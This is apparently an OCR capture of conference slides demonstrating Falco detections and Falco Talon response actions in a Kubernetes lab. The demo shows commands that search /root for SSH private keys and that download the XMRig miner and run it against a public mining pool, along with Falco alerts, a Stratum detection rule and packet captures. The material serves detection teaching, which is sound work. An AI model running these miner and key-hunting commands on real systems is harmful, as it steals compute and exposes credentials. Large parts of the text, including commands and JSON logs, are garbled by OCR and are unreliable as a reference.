Falco agents a 1N your cluster. After a few

N
1
o©
o
'o
e
-
-
T4
>
o
0
-
s
"
i
o
.
O
o
)

Areé going to start monitoring your containers lLooking for

NO further action should be reguired.

rootgnastar:-# Kubectl gét podes -n falco -w | grep Running
faloosidekick-7c665b4edth-5z192 1/1 0 1148

falco-falcosidelick~-Tes665b44 b ~-gikkh 1/1 0 1ilds

. - ! " " - -
falco-qriwd 2/2 0 114s
e

—

. "
- -

pase=fsleo -n faloco ¢ falco | grep -E “syscall | Kerne

rootémaster:~# kubectl logs -1 app.Rubernetes.io/f
Mon Jun 10 10:06:31 2024: The chasen buffer dimension is: BIAB8B608 bytes (8 MBx)

Mon Jun 10 10:06:31 2024: Losded svent sources:
Man Jun 10 10:06:32 2024: Enabled svent sources:
Mon Jun 10 10 31 2024: Qpening " source with modern BEF probe,

J: 06
rootimaster:-» I




Trigger a

Falco Detection

No further action sbhould be required.

roctimaster:-# Rkubectl gét pods -n falco -w | gréep Running

aloo-falcosidekick-7o665ba4fb -5zl %2 1/1 0 1i4s
faloo-faloosidekick-Te665b44 fh-gxkh 1/1 D 114s
falco-qriwd 2/2 0 1i4s

NN
-

rootEmaster:~¥ Rubectl logs -1 app.kubernetes.lio/name=falos -n falco - faleco | grep -E "syscall|Kernal
Mon Jun 10 10:06:31 2024: The chosen buffer d'ﬁLNJ-MU i1&: BIBESDE byte
Mon Jun 10 10:06:31 2024: Loa
Mon Jun 10 10:06:31 2024: Enabled avent sour
Mon Jun 10 10:06:31 202
root@master:-¥ find froot -hames "id rs=a

4
e
%
K -
o
(4
—

N
)
| »
"
E
rt
(14
3
-
|«
: -
1
(A1

»

"
e

urce with modern BPF probe,

‘\..
-
CJ

'O
L
.
R
o
o
(4
g

-

froot/.ash/id rsa

rootimaster:-~# kubectl logs -1 &spp.Kubernetes.io/name=falco -n faloo -¢ falco | grep "find /root -nahe 1d res”

1 n
"hostn n":”:autc:“.”uutpu:“:“‘O::::C( 894555366 Warning Greép private keys or passwords activities found (evi typeséxecve user=root user uid=0 user loginiid=-1
r

procesa=find proc exepath=/usr/bin/find parent=bash commands= terminal=34816 exe flags=EXE WRITABLE container id=host container images=<NA>
cantalner image tag=<iA> container name-host kis ne=<l> ks pod name=<NA> )", "priority”:"Warning”™, "rule”:"Search Private Keye or Passwords”™, "source”™:"syscall",”
tage" [ "Ti552.001", "ocontainer™, "filesyasten”, "hoat™, "naturity stablie™, "mitre credential access"™, "process"™ |, "tima" 1 "2024-06- -P;U:1>:06.8913533G&Z”. Toutput fields

s {":ontainc:.id“:“hus:”,“:on:uine:.;n&gc.r:ugsxtory”:null,":Dntaincr.inawc.taq":null."cun:‘in:r.na:u“”ho,~ "evi.arvg. . filage" i "EXE WRITABLE","evt.tine":17180145
fusr/bin/find", "proc . name"™ : "fing"

"

DEB94555366, "evi . type" i "execve”, "kKBs . ne . name" PLLL.“hg“.ood.nanc":null. proc "nd;;r“ - ot p:o:.cx:pa;b

proc.pnama” : "hagh™, "proc.tty" 1 34818, "user .. logimid' :—1,“us&r.naxc":"rouh',' gexr. . uld":i0};
hostname": "master”, "output™ i "10:15: 06 8976347VET: Exrror ssh-related f_kc,d;:cc:'*y :cad by non-ssh progréam (file=/root/.seh pomdline=bash &vt type=Openat user=r

o
G

AL AT A ' »

OO0t uUSer uid=0 user loginuid=-1 process=find proc :\»path‘/u r/bin/find paréent=bash cossands: terminal=34816 exe flages=0 DIRECTORY O ROXBLO
CE|O RDONLY |0 CLOEXEC|O TMPPILE container id=hoet contaliner iwmage=<NA> :ontainc:_;xaq: _tag=<NA> container namec-host k8s ns=<NA> R8s pod name=<NA> )", "priority™:("E
rror™ ., "rule” :'&n:d ssh 'nfozxation“,”5ourc:":"s'V"5Ll".“::q5“:f”“'oﬁ" Toontainer

10TI10:15:106.BO9TE34AT67E", "output fields": {("container.id":"host™, "containar.lsage.réposito f snull, "container. imadge . tag 4.
age"™ "0 DIRECTORY |0 NONBLOCK|O RDONLY |0 CLOEXECIO TMPPRILE"™, "evet . timea"171B8014506897634767 v-.*“pr "t"openat”, "fd.name™ " /root/.ssh", "kEs . nes. name" inull, "KBs . pod.

pame"inull, "proc.cmdiine™ " T, Uproc . exepath” i " fuse /bin/ffing' ,'p:o:.nan: s Eind”, "proo.pomdline” i "bagh"™ , "proc.ponamea” i "bash", "proc tty" : 34816

TEillesysten”  "host", "maturity ;ncub:ti g, "mitre collection” },":L, -

™

" "

JTeantainar name" c"hoet", "evt . axrg. £l

 Tuser. loginuidT -1, "user. . name" t "root"™, "user. . uxd”:0} )
rootimaster::-» l
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ente S Ules June %5-20 - Fairfax, VA
collection matching Alerts o |
Notification  Reaction

Kernel

O &

kubernetes dOCker

GitHub "7

‘ o events

. Nomad

A ——

@ github.com/falco-talon/falco-talon 1 .




e Zero code
o YAML rules files

e 10 available Actions:

O

O

O

kubernetes:terminate
kubernetes:labelize
kubernetes:networkpolicy
kubernetes:exec
kubernetes:script
kubernetes:log
kubernetes:delete
kubernetes:cordon
calico:networkpolicy

aws:lambda

Sbmélﬁst“@ﬂ UsS

EEZWITmﬁﬁDg\ﬂ\

Actions are triggered by conditions based on: HF24US

O Priority

o tags

o source

o Falco rule name

o output fields

Sequential actions

Deduplication of the Falco alerts

OOTB Notifiers (Slack, Email, Webhook, Loki, Elasticsearch, K8S Events)

Structured logs (with a tracelD to follow the steps)

https://docs.falco-talon.org/docs/actionners/list




Install Falco Talon

information’ ,":our:c“:'v',“ L1™,"tage":({ "TI1005"

-

oontainer”, “file : " rity incubating'’,
Tautput ide": {"container.id":"host", "cantainer, inage. cp*“it'ry sl LneY . Image . tag™ inull , " : % :”ho:t“,

- NONBLOCK O D”NLY:u_C UEXEC|O TMPPILE"™ "svt. time" i 17TI18014506897634767 “:Vt.ty:c": ' ’,"fd.nnmn”:“fr" el : Jame' :nul*,"kés.
Tproc.exepath" " fusr /bhin/find"”, "proc. name" : "£ind”, Jpomdline”: "bash", " '.“bazh'."pr"
,Tuser.loginuidTi-1, "user name" 1 "root™, "user . uid":0}>
root@mastar:-# git claone https://github.comffalco-talon/falco-talon.«
Cloning into 'falco-tslon'...
rémoté: Emumarsting objects:
réemote: Counting abjects: 10
remote; Compressing onje:z::

réemote: Total

NAME: falco-talon
LAST DEPLOYED: ¥on
NAMESPACE:

STATUS: det
REVISION:

TEST SUITE

rootémast s=Jfa ko alon/deployment/ ¥ kubectl get pods -n falco

falco- SUBLRECHSS-851w] 0/1 CantalinerCreating
faloo- CBLR&CSS ' 0/1 ContainerCreating
talco- CELBEC9S oV D/ 3 Running
raloo- - c959-58 D/ RUNning
faloo- SOBLBECSS : Running

Running

https://docs.falco-talon.org/docs/installation_usage/helm/
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Detecting a Crypto Miner

00 #sf24us

Detect crypto miners using the Stratum protocol

S
/

Miners commonly specify the mining pool to connect to using a URI that starts
However, this rule 1s highly specific to this technique, and matching command-line
generally be bypassed quite easily.

)
I OCEeSS
>.cmdline contalns
line contalns
i

contains "'strat

contains "stratl i

> ul d \_\ ~_D

Possible miner running (evt_type:%evt.type user=xuser .name user_uid=%user .uid
user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname

command=%proc.cmdline terminal=%proc.tty exe_flags=%evt.arg.flags %container.info)
CRITICAL

‘maturity_sandbox, host, container, process, mitre_impact, T1496]

https://thomas.labarussias.fr/falco-rules-explorer



instruqt >_ Terminal 1 )_ 'I'eminalz © & tshark Documentation
A

rootgmaster:~# kubectl exec -it dodgy-pod -- bash
[root@dodgy-pod /]# curl -OL https://github.com/xmrig/xmrig/releases/download/vé6.16.4/xmrig-6.16.4-1linux-static-x64.tar.gz

% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 omtomto= omlomlion o=lomlom 0
100 2906k 100 2906k 0 0 4867k 0 s-to—ir= e=lo=lon e=lo=le= 4867K

[root@dodgy-pod /]# tar -xvf xmrig-6.16.4-linux-static-x64.tar.gz

xmrig-6.16.4/

xmrig-6.16.4/config. json

xmrig-6.16.4/xmrig

xmrig-6.16.4/SHA256SUMS

[root@dodgy-pod /]# cd xmrig-6.16.4

[root@dodgy-pod xmrig-6.16.4]# ./xmrig -o stratum+tcp://xmr.pool.minergate.com:45700 -u lies@lies.lies -p x -t 2

* ABOUT XMRig/6.16.4 gece/9.3.0

* LIBS libuv/1.42.0 OpensSSL/1.1.11 hwloc/2.5.0

* HUGE PAGES supported

* 1GB PAGES disabled

* CPU Intel(R) Xeon(R) CPU @ 2.80GHz (1) 64-bit AES VM
2.0 MB 33.0 MB 2C 4T 1

* MEMORY 3.7/3.8 GB

DIMM O: 4 GO RAM @ 0 MHz

* MOTHERBOARD Google - Google Compute Engine

* DONATE 1%

* ASSEMBLY auto:intel

* POOL #1 stratum+tcp://xmr.pool.minergate.com: 45700 algo auto
* COMMANDS hashrate, [nul., tclul., results, connection

[2024-06-18 14:55:44
[2024-06-18 14:56:10
[2024-06-18 14:56:15
[2024-06-18 14:56:34
[2024-06-18 14:56:49
[2024-06-18 14:59:06
[root@dodgy-pod xmrig-6
exit
root@gmaster:~# kubectl logs -1 app.kubernetes.io/name=falco -n falco -c falco | grep -E "xmr|XMR"
{"hostname":"master", "output":"14:56:21.601619347: Critical Outbound connection to IP/Port flagged by https://cryptoioc.ch (ip=49.12.80.40 connection=10.42.0.16:53042->49.12.80.40:45700 lport=53042 rport=45700 fd_type=ipv4 fd _proto=£fd.l4proto evt_
type=connect user=root user_uid=0 user_loginuid=-1 process=xmrig proc_exepath=/xmrig-6.16.4/xmrig parent=bash command=xmrig -o stratum+tcp://xmr.pool.minergate.com:45700 -u lies@lies.lies -p X -t 2 terminal=34816 exe_ flags=<NA> container_ id=e5349d
2ce787 container_image=docker.io/library/centos container_image_ tag=latest container_name=centos k8s_ns=default k8s_pod name=dodgy-pod)","priority":"Critical","rule":"Detect outbound connections to common miner pool ports", "source":"syscall", "tags
":["T1496", "container"”, "host", "maturity_ sandbox","mitre_impact", "network"], "time":"2024-06-18T14:56:21.6016193472", "output_fields": {"container.id":"e5349d2ce787","container.image.repository":"docker.io/library/centos", "container.image.tag":"late
st", "container.name":"centos", "evt.arg.flags":null, "evt.time":1718722581601619347, "evt.type":"connect","fd.1lport":53042,"fd.name":"10.42.0.16:53042->49.12.80.40:45700", "fd.rip":"49.12.80.40","fd.rport":45700,"£fd.type":"ipv4", "k8s.ns.name" : "default
","k8s.pod.name": "dodgy-pod", "proc.cmdline":"xmrig -o stratum+tcp://xmr.pool.minergate.com:45700 -u lies@lies.lies -p x -t 2", "proc.exepath":"/xmrig-6.16.4/xmrig", "proc.name":"xmrig", "proc.pname":"bash", "proc.tty":34816, "user.loginuid":-1, "user.na
me":"root", "user.uid":0}}
{"hostname":"master", "output":"14:56:39.616220758: Critical Outbound connection to IP/Port flagged by https://cryptoioc.ch (ip=49.12.80.39 connection=10.42.0.16:57392->49.12.80.39:45700 lport=57392 rport=45700 fd_type=ipv4 fd_proto=fd.l4proto evt_
type=connect user=root user_uid=0 user_loginuid=-1 process=xmrig proc_exepath=/xmrig-6.16.4/xmrig parent=bash command=xmrig -o stratum+tcp://xmr.pool.minergate.com:45700 -u lies@lies.lies -p X -t 2 terminal=34816 exe_flags=<NA> container_id=e5349d
2ce?87 container_ image=docker.io/library/centos container_ image tag=latest container name=centos k8s_ns=default k8s_pod_name=dodgy-pod)","priority":"Critical", "rule":"Detect outbound connections to common miner pool ports", "source":"syscall",h "tags
':["T1496", "container”, "host", "maturity sandbox","mitre_impact", "network"],"time":"2024-06-18T14:56:39.6162207582", "output_fields": {"container.id":"e5349d2ce787","container.image.repository":"docker.io/library/centos"”, "container.image.tag":"late
st","container.name":"centos","evt.arg.flags":null, "evt.time":1718722599616220758, "evt.type":"connect", "fd.lport":57392,"fd.name":"10.42.0.16:57392->49.,12.80.39:45700","£fd.rip":"49.12.80.39","fd.rport":45700,"£fd.type":"ipv4",6 "k8s.ns.name" : "default
","k8s.pod.name": "dodgy-pod", "proc.cmdline":"xmrig -o stratum+tcp://xmr.pool.minergate.com:45700 -u lies@lies.lies -p x -t 2", "proc.exepath":"/xmrig-6.16.4/xmrig", "proc.name":"xmrig", "proc.pname":"bash", "proc.tty":34816, "user.loginuid":-1, "user.na
me":"root", "user.uid":0}}
{"hostname":"master", "output":"14:56:54.630059475: Critical Outbound connection to IP/Port flagged by https://cryptoioc.ch (ip=49.12.80.40 connection=10.42.0.16:53044->49.12.80.40:45700 lport=53044 rport=45700 fd_type=ipv4 fd _proto=£fd.l4proto evt_
type=connect user=root user_uid=0 user_loginuid=-1 process=xmrig proc_exepath=/xmrig-6.16.4/xmrig parent=bash command=xmrig -o stratum+tcp://xmr.pool.minergate.com:45700 -u lies@lies.lies -p X -t 2 terminal=34816 exe_ flags=<NA> container_id=e5349d
2ce787 container_image=docker.io/library/centos container_image_ tag=latest container_name=centos k8s_ns=default k8s_pod name=dodgy-pod)","priority":"Critical","rule":"Detect outbound connections to common miner pool ports", "source":"syscall", "tags
":["T1496", "container"”, "host", "maturity_ sandbox","mitre_ impact", "network"], "time":"2024-06-18T14:56:54.6300594752", "output_fields": {"container.id":"e5349d2ce787","container.image.repository":"docker.io/library/centos"”, "container.image.tag":"late
st","container.name":"centos","evt.arg.flags":null, "evt.time":1718722614630059475, "evt.type":"connect"”, "fd.lport":53044,"fd.name":"10.42.0.16:53044->49,12.80.40:45700","£fd.rip":"49.12.80.40","fd.rport":45700,"£fd.type":"ipv4",6 "k8s.ns.name" : "default
","k8s.pod.name": "dodgy-pod", "proc.cmdline":"xmrig -o stratum+tcp://xmr.pool.minergate.com:45700 -u lies@lies.lies -p x -t 2", "proc.exepath":"/xmrig-6.16.4/xmrig", "proc.name":"xmrig", "proc.pname":"bash", "proc.tty":34816, "user.loginuid":-1, "user.na
me":"root", "user.uid":0}}
{"hostname":"master", "output":"14:57:21.652153668: Critical Outbound connection to IP/Port flagged by https://cryptoioc.ch (ip=49.12.80.40 connection=10.42.0.16:53046->49.12.80.40:45700 lport=53046 rport=45700 fd_type=ipv4 fd proto=fd.l4proto evt_
type=connect user=root user_uid=0 user_loginuid=-1 process=xmrig proc_exepath=/xmrig-6.16.4/xmrig parent=bash command=xmrig -o stratum+tcp://xmr.pool.minergate.com:45700 -u lies@lies.lies -p X -t 2 terminal=34816 exe_flags=<NA> container_id=e5349d
2ce787 container image=docker.io/library/centos container image tag=latest container name=centos k8s_ns=default kss_pod_name-dodgy-pod)","priority":"Critical","rule":"Detect outbound connections to common miner pool ports", "source":"syscall",6 "tags

Ml IIMA A8 Namnwmbod cmaw] Haacmd ] Nocambcssed fne  onon- Al mmell TNead e dssrm e b 1l Nemmbiecsmealall™ A d aanca Tl o IIAANA L NS A OMNMA A oM A SfEAdEACcarr MNassdhismsni L4 aNdall. fMawnmwmbodwmaw 43N a2 80808t Namnwmbodwmow doeamswe wnmamdbccwesell s N mlemsw 4wl d v nmee s mca ]l NMwmssdion d cnmve s cnon o el 2 NN o o

stratum+tcp://xmr.pool.minergate.com: 45700 '‘connection refused"
stratum+tcp://xmr.pool.minergate.com: 45700 "operation canceled"
stratum+tcp://xmr.pool.minergate.com: 45700 "connection refused"
stratum+tcp://xmr.pool.minergate.com: 45700 "end of file"
stratum+tcp://xmr.pool.minergate.com: 45700 'hest is unreachable"
Ctrl+C received, exiting

https://thomas.labarussias.fr/falco-rules-explorer
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>_ Terminal 1
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>_ Terminal 2

root@gmaster:~# kubectl get pods -A -o wide

&

tshark Documentation

NAMESPACE NAME READY  STATUS RESTARTS  AGE IP NODE NOMINATED NODE  READINESS GATES

kube-system coredns-7448499f4d-dbwSr 1/1 Running 0 12m 10.42.0.4 master <none> <none>

kube-system local-path-provisioner-5ff76fc89d-bk4d? 1/1 Running 0 12m 10.42.0.6 master <none> <none>

kube-system metrics-server-86cbb8457f-vs8l2 1/1 Running 0 12m 10.42.0.5 master <none> <none>

kube-system helm-install-traefik-crd-xmkijf 0/1 Completed 0 12m 10.42.0.3 master <none> <none>

kube-system helm-install-traefik-qgjnc 0/1 Completed 1 12m 10.42.0.2 master <none> <none>

kube-system svclb-traefik-jxtrd 2/2 Running 0 12m 10.42.0.8 master <none> <none>

kube-system  traefik-97b44b794-5pamk 1/1 Running 0 12m 10.42.0.7 master <none> <none>

falco falco-falcosidekick-7c665b44fb-67j12 1/1 Running 0 1im 10.42.0.9 master <none> <none>

falco falco-falcosidekick~-7c665b44fb-wSprp 1/1 Running 0 1im 10.42.0.10 master <none> <none>

falco falco-m81ké 2/2 Running 0 1im 10.42.0.11 master <none> <none>

falco falco-talon-6c8f86c959-z18k4 1/1 Running 0 Sm34s 10.42.0.13 master <none> <none>

falco falco-talon-6c8£f86c959-jsck4 1/1 Running 0 9m34s 10.42.0.12 master <none> <none>

default ubuntu-687c9b6454~-22698 1/1 Running 0 4m52s 10.42.0.14 master <none> <none>

root@gmaster:~# tshark | grep -E "xmr|XMR"

Running as user "root" and group "root". This could be dangerous.

Capturing on 'cnio'

1897 1939 32.098340054 10.42.0.16 — 10.42.0.4 DNS 108 Standard query Oxaec4 A xmr.pool.minergate.com.default.svc.cluster.local
1940 32.098386621 10.42.0.16 10.42.0.4 DNS 108 Standard query Oxaec4 A xmr.pool.minergate.com.default.svc.cluster.local
1941 32.098405726 10.42.0.16 10.42.0.4 DNS 108 Standard query Oxafc7 AAAA wmr.pool.minergate.com.default.svc.cluster.local
1942 32.098411691 10.42.0.16 10.42.0.4 DNS 108 Standard query Oxafc7 AAAA xmr.pool.minergate.com.default.svc.cluster.local
1943 32.098667276 10.42.0.4 10.42.0.16 DNS 201 Standard query response Oxaec4 No such name A xwmr.pool.minergate.com.default.svc.cluster.local SOA ns.dns.cluster.local
1944 32.098731343 10.42.0.4 10.42.0.16 DNS 201 Standard query response Oxaec4 No such name A xmr.pool.minergate.com.default.svc.cluster.local SOA ns.dns.cluster.local
1945 32.098766704 10.42.0.4 10.42.0.16 DNS 201 Standard query response Oxafc7 No such name AAAA xwr.pool.minergate.com.default.svc.cluster.local SOA ns.dns.cluster.local
1946 32.098801379 10.42.0.4 10.42.0.16 DNS 201 Standard query response Oxafc7 No such name AAAA xwr.pool.minergate.com.default.svc.cluster.local SOA ns.dns.cluster.local
1947 32.098868131 10.42.0.16 10.42.0.4 DNS 100 Standard query Oxe3de A xmr.pool.minergate.com.svc.cluster.local
1948 32.098898722 10.42.0.16 10.42.0.4 DNS 100 Standard query Oxe3de A xmr.pool.minergate.com.svc.cluster.local
1949 32.098912014 10.42.0.16 10.42.0.4 DNS 100 Standard query Oxe4f4 AAAA wmr.pool.minergate.com.svc.cluster.local
1950 32.098918209 10.42.0.16 10.42.0.4 DNS 100 Standard query Oxe4f4 AAAA xwr.pool.minergate.com.svc.cluster.local
1951 32.099024532 10.42.0.4 10.42.0.16 DNS 193 Standard query response Oxe3de No such name A xwmr.pool.minergate.com.svc.cluster.local SOA ns.dns.cluster.local
1952 32.099063166 10.42.0.4 10.42.0.16 DNS 193 Standard query response Oxe3de No such name A xmr.pool.minergate.com.svc.cluster.local SOA ns.dns.cluster.local
1953 32.099086452 10.42.0.4 10.42.0.16 DNS 193 Standard query response 0Oxe4f4 No such name AAAA xwr.pool.minergate.com.svc.cluster.local SOA ns.dns.cluster.local
1954 32.099107659 10.42.0.4 10.42.0.16 DNS 193 Standard query response 0Oxe4f4 No such name AAAA wmr.pool.minergate.com.svc.cluster.local SOA ns.dns.cluster.local
1957 32.099128281 10.42.0.16 10.42.0.4 DNS 96 Standard query OxdOe2 A xmr.pool.minergate.com.cluster.local
1958 32.099142904 10.42.0.16 10.42.0.4 DNS 96 Standard query OxdOe2 A xmr.pool.minergate.com.cluster.local
1959 32.099150232 10.42.0.16 10.42.0.4 DNS 96 Standard query 0xdldé AAAA xmr.pool.minergate.com.cluster.local
1960 32.099155919 10.42.0.16 10.42.0.4 DNS 96 Standard query 0xdldé AAAA xmr.pool.minergate.com.cluster.local
1961 32.099236916 10.42.0.4 10.42.0.16 DNS 189 Standard query response 0xdldé No such name AAAA xmr.pool.minergate.com.cluster.local SOA ns.dns.cluster.local
1962 32.099309521 10.42.0.4 10.42.0.16 DNS 189 Standard query response 0xdOeZ No such name A xwr.pool.minergate.com.cluster.local SOA ns.dns.cluster.local
1963 32.099335951 10.42.0.4 10.42.0.16 DNS 189 Standard query response 0xdOeZ No such name A xmr.pool.minergate.com.cluster.local SOA ns.dns.cluster.local
1964 32.099355986 10.42.0.4 10.42.0.16 DNS 189 Standard query response 0xdlidé No such name AAAA xmr.pool.minergate.com.cluster.local SOA ns.dns.cluster.local
1965 32.099388479 10.42.0.16 10.42.0.4 DNS 82 Standard query O0xf606 A xmr.pool.minergate.com
1966 32.099398717 10.42.0.16 10.42.0.4 DNS 82 Standard query O0xf606 A xmr.pool.minergate.com
1967 32.099410184 10.42.0.16 10.42.0.4 DNS 82 Standard query Oxfé6cl AAAA xmr.pool.minergate.com
1968 32.099415487 10.42.0.16 10.42.0.4 DNS 82 Standard query Oxf6cl AAAA xmr.pool.minergate.com
1969 32.099488243 10.42.0.4 8.8.8.8 DNS 93 Standard query Oxf606 A xmr.pool.minergate.com OPT
1970 32.099497488 10.42.0.4 8.8.8.8 DNS 93 Standard query Oxfécl AAAA xmr.pool.minergate.com OPT
1Q74 22 NQQS2I92TI71 8 1N A9 N A 2 8 8 9 N A wwe nAanl minavesda ~sAam DT

https://thomas.labarussias.fr/falco-rules-explorer



: Terminate Pod
. kubernetes:terminate

. Run Mining Pool Wireshark capture
. kubernetes:script

: /bin/bash
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. Run Stratum Wireshark capture
. kubernetes:script

© /bin/bash

o - Talon response actions

) duraction:.19

are no-code solutions

. Labelize Pod as Suspicious
. kubernetes:labelize

 toua - They are making use of
:.Detect outbound connections to common miner pool ports eXiSting API primitives

— Detect outbound connections to common miner pool ports

: Run Mining Pool Wireshark capture - KUberneteS WaS deSigned
i for APl Automation

I 17

. Detect crypto miners using the Stratum protocol

N —~ Detect crypto miners using the Stratum protocol

- . Run Stratum Wireshark capture



36m Normal Started pod/ubuntu-687c9b6454-j8£fc5 Started container ubuntu

10m Normal falco-talon:kubernetes:label:success pod Status: success

Message: action

Rule: Terminal shell in container

Action: Label Pod as Suspicious

Actionner: kubernetes:label

Event: A shell was spawned in a container with an attached terminal (evt_type=execve user=root user uid=0 user_loginuid=-1 process=bash proc_exepath=/usr/bin/bash parent=run
¢ command=bash terminal=34816 exe_ flags=EXE WRITABLE container_ id=e59e1f96c94a container image=docker.io/library/ubuntu container image_ tag=latest container_ name=ubuntu k8s_
ns=default k8s pod name=ubuntu-687c9b6454-j8£fc5)

Namespace: default

Pod: ubuntu-687c9b6454-j8fc5

Output: the pod "ubuntu-687c9b6454-j8fc5" in the namespace "default" has been labelized

TraceID: 6eeeS59e4-a35af-450d4d-8533-08h0hR2049%ea

Al Normal Killing pod/ubuntu-687c9b6454-38£fcS Stopping container ubuntu

90s Normal falco-talon:kubernetes:script:failure pod Status: failure

Message: action

Rule: Terminal shell in container

Action: Run Mining Pool Wireshark capture

Actionner: kubernetes:script

Event: A shell was spawned in a container with an attached terminal (evt_type=execve user=root user_uid=0 user_loginuid=-1 process=bash proc_exepath=/usr/bin/bash parent=run
¢ command=bash terminal=34816 exe_ flags=EXE WRITABLE container_ id=e59e1f96c94a container_ image=docker.io/library/ubuntu container_ image_ tag=latest container_name=ubuntu k8s_
ns=default k8s pod name=ubuntu-687c%b6454-j8fc5)

Namespace: default

Pod: ubuntu-687c9b6454-j8£fc5

Error: Running as user "root" and group "root". This could be dangerous.

Capturing on "any"

TracelID: 6eee59%e4-a5a8-450d-8533-08b0b82049%ea
90s Normal falco-talon:kubernetes:label:success pod Status: success
Message: action

Rule: Terminal shell in container
Action: Label Pod as Suspicious

Actionner: kubernetes:label

Event: A shell was spawned in a container with an attached terminal (evt type=execve user=root user uid=0 user_ loginuid=-1 process=bash proc_exepath=/usr/bin/bash parent=run
¢ command=bash terminal=34816 exe flags=EXE WRITABLE container_ id=e59%e1f96c94a container_image=docker.io/library/ubuntu container image_ tag=latest container_ name=ubuntu k8s_
ns=default k8s pod name=ubuntu-687c9b6454-j8fc5)

Namespace: default

Pod: ubuntu-687c9b6454-j8fc5

Output: the pod "ubuntu-687c¢9b6454-j8£fc5" in the namespace "default" has been labelized

TraceID: 12d3bc70-2dbc-4eBa-aebe-4cca7554c023

90s Normal falco-talon:kubernetes:script:failure pod Status: failure

Message: action

Rule: Terminal shell in container
Action: Run Mining Pool Wireshark capture

Actionner: kubernetes:script

Event: A shell was spawned in a container with an attached terminal (evt_type=execve user=root user_uid=0 user_loginuid=-1 process=bash proc_exepath=/usr/bin/bash parent=run
¢ command=bash terminal=34816 exe flags=EXE WRITABLE container_ id=e59e1f96c94a container image=docker.io/library/ubuntu container image_tag=latest container name=ubuntu k8s_
ns=default k8s pod_ name=ubuntu-687c9b6454-j8fc5)

Namespace: default

Pod: ubuntu-687c9b6454~38fc5

TracelD: 12d3bc70-2dbc-4e8a-aebe-4cca7554c023

25s Normal ScalingReplicaSet deployment /ubuntu Scaled up replica set ubuntu-868485777b to 1

25s Normal SuccessfulCreate replicaset/ubuntu-868485777b Created pod: ubuntu-868485777b-tlstd

25s Normal Scheduled pod/ubuntu-868485777b-tlstd Successfully assigned default/ubuntu-868485777b-tlstd to master
24s Normal Pulling pod/ubuntu-868485777b~tlstd Pulling image "ubuntu:latest"

24s Normal Pulled pod/ubuntu-868485777b-tlstd Successfully pulled image "ubuntu:latest" in 648.348294ms

24s Normal Created pod/ubuntu-868485777b~-tlstd Created container ubuntu

24s Normal Started pod/ubuntu-868485777b-tlstd Started container ubuntu

[
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#sf24us

We monitor the success
or failure of an actionner
via the native ‘Events’
command

This can be a little hard
to read on first look
(but | promise you this
makes sense)




The Learning Curve

root@master:~# kubectl logs -n falco -1 app.kubernetes.io/name=falco-talon

action "Label Pod as Suspicious" kubernetes: label "A shell was spawned in a container with an attached terminal (evt_type=execve user=root use
r uid=0 user_loginuid=-1 process=bash proc_exepath=/usr/bin/bash parent=runc command=bash terminal=34816 exe flags=EXE WRITABLE container 1d=e59el1f%6c%4a container image=docker.io/library/ub
untu container image tag=latest container name=ubuntu k8s ns=default k8s pod name=ubuntu-687cSb6454-j8fc5)" default "the pod 'ubuntu-687c¢9b6454-3j8fc5' in the namespace 'defa
ult' has been labelized" ubuntu-687¢c9b6454-j8£fc5 "Terminal shell in container™ success 6eee59e4-a5a8-450d-8533-08b0b8204%ea

notification "Label Pod as Suspicious" kubernetes: label k8sevents "Terminal shell in container"™ success 6eee59e4-a5as8~
450d-8533-08b0b8204%ea

action "Run Mining Pool Wireshark capture" kuber
netes:script "A shell was spawned in a container with an attached terminal (evt_type=execve user=root user_uid=0 user_loginuid=-1 process=bash proc_exepath=/usr/bin/bash parent=runc co
mmand=bash terminal=34816 exe_ flags=EXE WRITABLE container_id=e59%elf96c94a container_ image=docker.io/library/ubuntu container_ image tag=latest container_ name=ubuntu k8s ns=default k8s pod na
me=ubuntu-687c%b6454-j8fc5)" default ubuntu-687c9b6454-38£fc5 "Terminal shell in container" failure 6eee59e4-a5a8-450d-8533-08b0b82049%ea

notification "Run Mining Pool Wireshark capture" kubernetes:script k8sevents "Terminal shell in container" success 6ee
e59e4-a5a8-450d-8533-08b0b82049%¢ea

event "Terminal shell in container" "A shell was spawned in a container with an attached terminal (evt_type=execve user=root user uid=0 user loginuid=-1
process=bash proc exepath=/usr/bin/bash parent=runc command=bash terminal=34816 exe flags=EXE WRITABLE container id=e59elf96c9%4a container_ image=docker.io/library/ubuntu container image tag
=]latest container name=ubuntu k8s ns=default k8s pod name=ubuntu-687c¢9b6454-j8fc5)" Notice syscall 12d3bc70-2dbc-4e8a-aebe-4cca7554¢c023

match "Terminal shell in container" "A shell was spawned in a container with an attached terminal (evt type=execve user=root user uid=0 user loginuid=-1
process=bash proc_exepath=/usr/bin/bash parent=runc command=bash terminal=34816 exe_ flags=EXE WRITABLE container_ id=e59el1f96c94a container_ image=docker.io/library/ubuntu container_ image_ tag
=latest container name=ubuntu k8s_ ns=default k8s_pod name=ubuntu-687c9b6454-j8fc5)" Notice "Terminal shell in container" syscall 12d3bc70~-2dbc-4e8a-aebe-4cca755
4c023

action "Label Pod as Suspicious" kubernetes:label "A shell was spawned in a container with an attached terminal (evt_type=execve user=root use
r uid=0 user_loginuid=-1 process=bash proc_exepath=/usr/bin/bash parent=runc command=bash terminal=34816 exe_ flags=EXE WRITABLE container id=e59%9elf%6c94a container_image=docker.io/library/ub
untu container_ image tag=latest container name=ubuntu k8s ns=default k8s pod name=ubuntu-687c9b6454-j8fc5)" default "the pod 'ubuntu-687c¢9b6454-38fc5' in the namespace 'defa
ult' has been labelized" ubuntu-687c9b6454-3j8£fc5 "Terminal shell in container"” success 12d3bc70-2dbc-4eB8a-aebe-4cca7554c023

notification "Label Pod as Suspicious" kubernetes:label k8sevents "Terminal shell in container"” success 12d3bc70-2dbc-
4eB8a-aebe-4cca7554c023

action "Run Mining Pool Wireshark capture" kubernetes:script "A shell was spawned in a container with an attached terminal (evt type=execve us
er=root user uid=0 user loginuid=-1 process=bash proc_exepath=/usr/bin/bash parent=runc command=bash terminal=34816 exe flags=EXE WRITABLE container id=e59elf9%6c94a container_ image=docker.io
/library/ubuntu container image tag=latest container name=ubuntu k8s ns=default k8s pod name=ubuntu-687c¢9b6454-j8fc5)" default ubuntu-687¢c9b6454-38£c5 "Terminal shell in c
ontainer" failure 12d3bc70-2dbc-4e8a-aebe-4cca7554c023

notification "Run Mining Pool Wireshark capture" kubernetes:script k8sevents "Terminal shell in container" success 12d
3bc70-2dbc-4eBa-aebe-4cca7554c023

init kubernetes

